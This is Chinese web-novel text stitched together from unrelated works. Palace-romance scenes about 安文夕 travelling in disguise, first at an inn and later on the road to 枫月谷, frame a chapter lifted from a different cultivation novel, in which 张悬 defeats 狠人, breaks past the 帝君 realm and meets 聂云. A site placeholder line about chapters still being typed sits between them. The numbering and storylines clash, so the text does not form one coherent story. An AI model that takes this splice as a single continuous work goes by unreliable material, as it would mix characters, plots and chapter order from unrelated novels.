“公子,我们下车吃点东西吧。”欢凉长长的吐了一口气,整天呆在马车上,身子骨都迟钝了。 安文夕点点头,掀开车帘对赶车小哥道:“麻烦小哥带我们去一家简单的酒楼便好。” “好咧。” 现在正是午时时分,酒楼里面的雅间皆座无虚席,安文夕只得在大厅内落座。 大厅内龙鱼混杂,有些身材剽悍的男人大口吃肉、大口喝酒,嘴里大声的嚷嚷着,安文夕微不可见的皱了皱眉。 旁边的桌子上的男人有了几分醉意,时不时朝安文夕和欢凉落座的座子上投来几眼,嘴里还调笑着。 “那位公子生得好生俊朗,你看那脸皮白的跟个娘们似的。” “哈哈哈。怎么大哥看上了?” “那兄弟我让他来伺候大哥喝酒。” “罢了罢了,咱们少惹事,喝酒喝酒。” “公主,大厅就是这样,这也没有办法,我们赶紧吃完,早些上路。”欢凉用眼角斜了眼旁边桌子上的人。 欢凉话音刚落,就有一位醉醺醺的男人一把握住安文夕执着筷子的手道:“这位公子,我们大哥请你一同喝酒吃肉,可否赏个脸。”他说着就要强行将安文夕拖走。 安文夕刚想发作,只见有一位指节分明的手一把拉住刚才那位醉醺醺的男人,扔到一旁。 “这位公子,你没事吧?” “我没事。”安文夕抬头蓦地一滞,这个人不正是北襄的六王爷么,半年前被北宫喆所杀,竟然没有死! “哪来的小兔崽子,竟敢坏爷爷的好事!”刚才那个男人愤怒着抡拳砸向六王爷。 六王爷二指钳住那人的手腕,以四两拨千斤之势轻松地将那人掀翻。 那人本来已经醉的差不多了,此时渐渐恢复了意识,一身横肉躺在地上,大口大口的喘着粗气,脸上的肉微微颤动,恼羞成怒的他刚想起来和六王爷拼个你死我活,不料却被同伴叫道:“老四,还不赶紧过来,丢人现眼!” “可是,大哥……” “过来!”为首的人端着酒杯对六王爷道,“这位公子,真是不好意思,舍弟给你添麻烦了。” 六王爷也不在意,接过酒来一饮而尽,随即将视线放在安文夕身上。 安文夕不动声色的扫了眼几人,心中略略明了,这六王爷向来不是个善茬,此时如此花费一番功夫在她身上,必定有事! 随即她双眸清澈,一脸波澜不惊,对六王爷含笑道:“多谢公子出手。” “无妨,你看这厅内客人已满,这位公子不介意我们拼桌吧。” 安文夕嘴唇微勾,真是个老狐狸! “不介意。”安文夕微微笑了笑,反正她们马上就要启程了。 六王爷刚落座不久,欢凉放下筷子道:“公子,我去结账,你先去外面等我。” 六王爷闻言抬头道:“你们的账我已经结了。” 安文夕嘴角一抽,无事献殷勤,非奸即盗! 欢凉从怀中拿出一锭银子放在桌子上道:“不敢麻烦公子,这是饭钱。” 安文夕刚刚起身,跟在六王爷身旁的女子伸手拦住了她们的去路。 安文夕皱眉道:“这位公子,你这是何意?” 六王爷看也未看那锭银子,浅笑道:“今日能和二位公子同桌而食,便是有缘,若是二位公子愿意,不如到寒舍坐一坐。” 第89章 真实身份 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第90章 好久不见 第九十章 好久不见 “走不了了?这前不着村后不着店的。”欢凉咕哝道。 “我看看是否能修。”安文夕蹙眉道。 袭匀看着坏掉的车轮,深表无力,他可以瞬间使一辆马车碎成渣渣,却不能修好坏掉的车轮。 “这车轮修不了了。”安文夕检查了一遍说道。 欢凉对于这种情况早就见怪不怪,公主她一向没什么架子,虽然素来养尊处优,但生活经验以及常识比她要多多了。 “既然这样,我们先慢慢往前走吧。” “走路可比坐马车舒服多了。袭匀赞道。 “你闭嘴,要不是你将马车弄坏了,我们这会早就到客栈了,还用在这里喝冷风啊!”欢凉不悦道。 “好好好,都是我的错,我认错还不行。”袭匀告饶道。 不远处渐渐传来一阵微弱的马蹄声,安文夕神色一动,“后面有辆马车。” 袭匀眼睛一亮,“不如我们在这里等等,一会让他们捎我们一路。” “没想到你也有沦落至此的一日,丢不丢人。”欢凉翻了个白眼,冷哼道。 “不丢人,这叫大丈夫能屈能伸。” “好了,你们俩都给我闭嘴!”安文夕厉声道。 赶车的夜影看到前方停驻的三人,勒了缰绳,放慢了速度,对车内道:“殿下,前方有人,属下瞧着好像是凤公子。” “凤公子?”楚君昱嘴角扬起一抹笑意来,他终于追上他了! “是,殿下,他们好像在等什么人。” 楚君昱嘴角微勾,他们许是在等过路的马车吧,刚才看到的坏马车想必就是他们的了。 安文夕远远地瞧见了夜影,车内何人,自然不言而喻,她不免有些尴尬来,为何她每次遇到困难时,总能碰到他? 欢凉和袭匀显然也认出了来人,袭匀高兴地兑了兑安文夕的肩膀道:“小师妹,是熟人!我们这下有救了。” 待马车离得近了,袭匀收起了一脸的欣喜,再次恢复了一副高冷范儿。 “驭——” “凤公子,我家公子请你上车。” 袭匀闻言,维持不到一刻钟的高冷范儿立即破功,“那我们俩呢?” “也一起上来吧。”马车内传来一声清润的声音来。 袭匀心中欢喜,刚打算撩开车帘马车,欢凉已经落下车帘,冷冷抛下一句道:“你在外面好好学学人家是怎么赶车的!” 袭匀撇了撇嘴,心里腹诽道:你这么去打扰人家两个去增加感情,合适么? “玉公子,好久不见。”安文夕浅浅笑了笑。 “凤公子,你这样不告而别,倒也我想起一位故人。” 安文夕心中顿时咯噔一下,微微扯了扯嘴角,“我一时走得匆忙,还请玉公子不要见怪。” “凤公子这么着急是打算去哪?” 安文夕犹豫了一瞬道:“我打算去枫月谷求一味药。” “我们正好可以顺路。” “玉公子也要去枫月谷?” 楚君昱点头,“我也是去枫月谷去求一味药。” 问候之后,安文夕便和楚君昱再次聊起琴艺来,期间楚君昱几番有意无意的提到胭脂醉一事,不乏试探,安文夕一一浅笑着回答,倒也没露出什么破绽来。 为了不让他发现什么,到了附近的城镇上,安文夕便重新买了辆马车,虽是同路,但是分车而行。 又过了十日,安文夕一行人总算是到了枫月谷。 